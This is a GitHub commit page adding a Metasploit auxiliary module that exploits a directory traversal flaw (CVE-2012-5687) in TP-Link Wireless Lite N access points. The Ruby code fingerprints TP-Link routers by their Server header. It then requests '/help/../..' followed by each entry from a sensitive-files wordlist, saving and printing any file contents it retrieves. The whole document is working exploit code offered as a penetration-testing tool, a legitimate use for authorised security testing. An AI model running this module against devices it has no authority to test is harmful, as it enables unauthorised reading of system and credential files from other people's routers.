Skip to content

Commit c399a5a

Browse files
committed
Merge branch 'master' of git://github.com/rapid7/metasploit-framework
2 parents be292c6 + 9717a8c commit c399a5a

File tree

1 file changed

+141
-0
lines changed

1 file changed

+141
-0
lines changed
Lines changed: 141 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,141 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Auxiliary
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Auxiliary::Scanner
14+
15+
def initialize
16+
super(
17+
'Name' => 'TP-Link Wireless Lite N Access Point Directory Traversal Vulnerability',
18+
'Description' => %q{
19+
This module tests whether a directory traversal vulnerability is present in
20+
versions of TP-Link Access Point 3.12.16 Build 120228 Rel.37317n.
21+
},
22+
'References' =>
23+
[
24+
[ 'CVE', '2012-5687' ],
25+
[ 'OSVDB', '86881' ],
26+
[ 'BID', '57969' ],
27+
[ 'EDB', '24504' ],
28+
[ 'URL', 'http://www.tp-link.com/en/support/download/?model=TL-WA701ND&version=V1' ],
29+
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-011' ]
30+
],
31+
'Author' => [ 'm-1-k-3' ],
32+
'License' => MSF_LICENSE
33+
)
34+
35+
register_options(
36+
[
37+
OptPath.new('SENSITIVE_FILES', [ true, "File containing senstive files, one per line",
38+
File.join(Msf::Config.install_root, "data", "wordlists", "sensitive_files.txt") ]),
39+
], self.class)
40+
end
41+
42+
def extract_words(wordfile)
43+
return [] unless wordfile && File.readable?(wordfile)
44+
begin
45+
words = File.open(wordfile, "rb") do |f|
46+
f.read
47+
end
48+
rescue
49+
return []
50+
end
51+
save_array = words.split(/\r?\n/)
52+
return save_array
53+
end
54+
55+
def find_files(file)
56+
traversal = '/../..'
57+
58+
res = send_request_cgi(
59+
{
60+
'method' => 'GET',
61+
'uri' => '/help' << traversal << file,
62+
})
63+
64+
return if res.nil?
65+
return if (res.headers['Server'].nil? or res.headers['Server'] !~ /TP-LINK Router/)
66+
return if (res.code == 404)
67+
return if (res.code == 501)
68+
69+
if (res and res.code == 200 and res.body !~ /\<\/HTML/)
70+
out = false
71+
72+
print_good("#{rhost}:#{rport} - Request may have succeeded on file #{file}")
73+
report_web_vuln({
74+
:host => rhost,
75+
:port => rport,
76+
:vhost => datastore['VHOST'],
77+
:path => "/",
78+
:pname => normalize_uri(traversal, file),
79+
:risk => 3,
80+
:proof => normalize_uri(traversal, file),
81+
:name => self.fullname,
82+
:category => "web",
83+
:method => "GET"
84+
})
85+
86+
loot = store_loot("tplink.traversal.data","text/plain",rhost, res.body,file)
87+
vprint_good("#{rhost}:#{rport} - File #{file} downloaded to: #{loot}")
88+
89+
if datastore['VERBOSE'] == true
90+
vprint_good("#{rhost}:#{rport} - Response - File #{file}:")
91+
res.body.each_line do |line|
92+
#the following is the last line of the useless response
93+
if line.to_s =~ /\/\/--><\/SCRIPT>/
94+
#setting out = true to print all of the following stuff
95+
out = true
96+
next
97+
end
98+
if out == true
99+
if line =~ /<META/ or line =~ /<Script/
100+
#we are finished :)
101+
#the next line is typical code from the website and nothing from us
102+
#this means we can skip this stuff ...
103+
out = false
104+
next
105+
else
106+
#it is our output *h00ray*
107+
#output our stuff ...
108+
print_line("#{line}")
109+
end
110+
end
111+
end
112+
out = false
113+
end
114+
elsif (res and res.code)
115+
vprint_error("#{rhost}:#{rport} - File->#{file} not found")
116+
end
117+
end
118+
119+
def run_host(ip)
120+
121+
begin
122+
vprint_status("#{rhost}:#{rport} - Fingerprinting...")
123+
res = send_request_cgi(
124+
{
125+
'method' => 'GET',
126+
'uri' => '/',
127+
})
128+
129+
return if (res.headers['Server'].nil? or res.headers['Server'] !~ /TP-LINK Router/)
130+
131+
rescue ::Rex::ConnectionError
132+
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
133+
return
134+
end
135+
136+
extract_words(datastore['SENSITIVE_FILES']).each do |files|
137+
find_files(files) unless files.empty?
138+
end
139+
140+
end
141+
end

0 commit comments

Comments
 (0)